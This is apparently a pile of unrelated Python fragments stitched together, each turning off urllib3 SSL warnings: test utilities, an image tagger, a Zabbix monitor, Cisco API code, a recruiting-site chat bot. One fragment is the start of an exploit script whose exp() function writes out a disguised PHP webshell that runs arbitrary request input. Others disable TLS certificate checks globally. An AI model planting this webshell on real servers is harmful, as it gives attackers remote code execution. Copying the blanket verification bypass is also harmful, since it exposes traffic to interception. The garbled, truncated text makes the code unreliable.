raise plugin_exceptions.PluginInitializeFailed(ex)
# Avoids the warning message - InsecureRequestWarning
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
return _config
import requests
import urllib3
import json
from utils.excelUtils import ExcelUtils
from utils.logger import Log
urllib3.disable_warnings() # 忽略ssl问题
class RequestsUtils(object):
log = Log()
def send_requests(self, s, testdata):
"""
封装Requests请求
:param s:
:param testdata:
:return:
"""
is_run = testdata["run"]
method = testdata["method"]
url = testdata["url"]
# url后面的params参数
try:
params = self.covert_params(testdata["params"], ";")
self.log.info("请求参数: %s" % params)
except:
params = None
# 请求头部headers
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with jottafs. If not, see <http://www.gnu.org/licenses/>.
#
# Copyright 2015 Håvard Gulldahl <*****@*****.**>
# metadata
__author__ = '*****@*****.**'
__version__ = '0.2.10a'
# import standardlib
import os, os.path, tempfile, time, math, logging, datetime, hashlib
import urllib3, certifi
urllib3.disable_warnings() # TODO FIX THIS
def humanizeFileSize(size):
size = abs(size)
if (size == 0):
return "0B"
units = ['B', 'KiB', 'MiB', 'GiB', 'TiB', 'PiB', 'EiB', 'ZiB', 'YiB']
p = math.floor(math.log(size, 2) / 10)
return "%.3f%s" % (size / math.pow(1024, p), units[int(p)])
def calculate_hash(fileobject, size=2**16):
fileobject.seek(0, 2)
size = fileobject.tell()
fileobject.seek(0)
import requests
import hashlib
import threadpool
import urllib3
import random
urllib3.disable_warnings()
header = {
"Proxy-Connection": "keep-alive",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Referer": "https://google.com",
"Connection": "close",
}
proxy = { # debug
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080"
}
def wirte_targets(vurl, filename):
with open(filename, "a+") as f:
f.write(vurl + "\n")
return vurl
def exp(url):
shell_name = "alipay.php"
shell_content = "<?php $a=create_function(NULL,$_REQUEST['a']);$a();echo '404 Not Found.';?>"
shell_path = "base"
try:
def worker(filepath):
# initialize saucenao
saucenao_core = SauceNao(
directory='directory',
databases=9,
# 999 by default, 5 for pixiv, 9 for booru.
minimum_similarity=65,
combine_api_types=False,
api_key=saucenao_api_key,
exclude_categories='',
move_to_categories=False,
use_author_as_category=False,
output_type=SauceNao.API_JSON_TYPE,
start_file='',
log_level=logging.ERROR,
title_minimum_similarity=90)
# search image on saucenao
try:
result = search(saucenao_core, filepath)
except requests.exceptions.ConnectionError:
print("Failed to connect saucenao!")
return -1
except saucenao.exceptions.DailyLimitReachedException:
print("Saucenao daily limit reached! try 1 hour later!")
return -2
if (len(result) is 0):
print('Image not found on danbooru!')
return 1
else:
danbooru_id = result[0]['data']['danbooru_id']
print('Image Found, ID=' + str(danbooru_id))
# GET danbooru tag json
try:
http = urllib3.PoolManager()
# disable https cert check warning
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = 'https://danbooru.donmai.us/posts/' + str(
danbooru_id) + '.json'
headers = urllib3.util.make_headers(basic_auth=danbooru_login +
':' + danbooru_api_key)
r = http.request('GET', url, headers=headers)
r_data = r.data
if isinstance(r_data, bytes):
r_data = str(r_data, 'utf-8')
tags = json.loads(r_data)['tag_string']
taglist = tags.split()
except requests.exceptions.ConnectionError:
print('failed to GET tag data from danbooru')
return -1
# Write XMP Metadata to image
xmpfile = XMPFiles(file_path=filepath, open_forupdate=True)
xmp = xmpfile.get_xmp()
# if image has no xmp data, create one
if (xmp is None):
xmp = XMPMeta()
# write the tags
for each in taglist:
# check whether XMP includes 'subject' property,
# if not, create a new one
if (not xmp.does_property_exist(consts.XMP_NS_DC, 'subject')):
xmp.append_array_item(consts.XMP_NS_DC, 'subject', each, {
'prop_array_is_ordered': True,
'prop_value_is_array': True
})
# check whether tag has been written to file
if (not xmp.does_array_item_exist(consts.XMP_NS_DC, 'subject',
each)):
xmp.append_array_item(consts.XMP_NS_DC, 'subject', each)
if (xmpfile.can_put_xmp(xmp)):
xmpfile.put_xmp(xmp)
xmpfile.close_file()
return 0
else:
print('Unable to write XMP data!')
return -1
def pure_disk_monitoring():
try:
'''Get the argument from Zabbix'''
ip = str(sys.argv[2]) #IP of the Pure Storage Array
token = str(sys.argv[3]) #API Token
disk = str(sys.argv[4]) #disk Name
host = str(sys.argv[5]) #Host name (for the sender)
zabbixIP = str(
sys.argv[6]) #Zabbix Proxy or Server IP (for the sender)
'''
Disable the SSL Warning from the output
'''
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
'''Get data'''
arrayConnect = purestorage.FlashArray(ip, api_token=token)
diskMonitoring = arrayConnect.get_drive(drive=disk)
'''Will disable the output to console'''
FNULL = open(os.devnull, 'w')
'''Sending data'''
if "status" in diskMonitoring:
diskStatus = str(diskMonitoring["status"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.disk.status[" + disk + "]", "-o", diskStatus
],
stdout=FNULL,
stderr=subprocess.STDOUT)
if "capacity" in diskMonitoring:
diskCapacity = str(diskMonitoring["capacity"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.disk.capacity[" + disk + "]", "-o", diskCapacity
],
stdout=FNULL,
stderr=subprocess.STDOUT)
if "protocol" in diskMonitoring:
diskProtocol = str(diskMonitoring["protocol"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.disk.protocol[" + disk + "]", "-o", diskProtocol
],
stdout=FNULL,
stderr=subprocess.STDOUT)
if "type" in diskMonitoring:
diskType = str(diskMonitoring["type"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.disk.type[" + disk + "]", "-o", diskType
],
stdout=FNULL,
stderr=subprocess.STDOUT)
if "last_failure" in diskMonitoring:
diskLastFailure = str(diskMonitoring["last_failure"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.disk.last.failure[" + disk + "]", "-o", diskLastFailure
],
stdout=FNULL,
stderr=subprocess.STDOUT)
'''Send 1 to give a result to Zabbix'''
print(1)
except:
'''
Sending 0 to Zabbix instead of a Python error.
Like that the items won't be considered as "unsupported"
'''
print(0)
https://developer.cisco.com/docs/licenses
All use of the material herein must be in accordance with the terms of
the License. All rights not expressly granted by the License are
reserved. Unless required by applicable law or agreed to separately in
writing, software distributed under the License is distributed on an "AS
IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
or implied.
"""
import json
import sys
import urllib3
import requests
from utils.commons import *
from requests.auth import HTTPBasicAuth
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
urllib3.disable_warnings()
"""
* Class that handles EPNM handler for Northboud API call
"""
class epnm_nb_api:
def __init__(self, url, epnm_ip, epnm_user, epnm_password):
"""
* Constructor of the epnm_nb_api class
:param url: url resource for expected task
:param epnm_ip: epnm ip address
:param epnm_user: epnm username
:param epnm_password: epnm password
LOG.setLevel(logging.DEBUG) # Change the level of logging::
# You can modify the following code to change the location::
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
this_month = time.strftime('%Y%m', time.localtime())
filename = BASE_DIR + f'/utils/{this_month}.log'
formatter = logging.Formatter(
"%(asctime)s %(filename)s[line:%(lineno)d]%(levelname)s - %(message)s"
) # Define the log output format
fh = logging.FileHandler(filename=filename, encoding="utf-8")
fh.setFormatter(formatter)
console_handler = logging.StreamHandler(sys.stdout)
console_handler.formatter = formatter
LOG.addHandler(fh)
LOG.addHandler(console_handler)
LOG.setLevel(logging.INFO)
urllib3.disable_warnings() # disabled requests' verify warning
# ========================================================================================== #
class BossHello(object):
"""
这里就是和别人沟通进行处理聊天信息的，看到这里写了这么多就知道这里是比较多逻辑的，还要判断很多状态来智能化处理各个情况。
"""
def __init__(self):
self.base_url = 'https://www.zhipin.com'
self.chat_url = self.base_url + '/chat/im?mu=chat'
self.pic_url = 'https://m.zhipin.com/wapi/zpgeek/resume/attachment/preview4boss?id='
self.local_class = self.__class__.__name__
self.session = requests.Session()
self.options = webdriver.ChromeOptions()
def patch_all():
disable_warnings()
logging.getLogger("urllib3").setLevel(logging.CRITICAL)
ssl._create_default_https_context = ssl._create_unverified_context
Session.request = session_request
def setUp(self):
urllib3.disable_warnings()
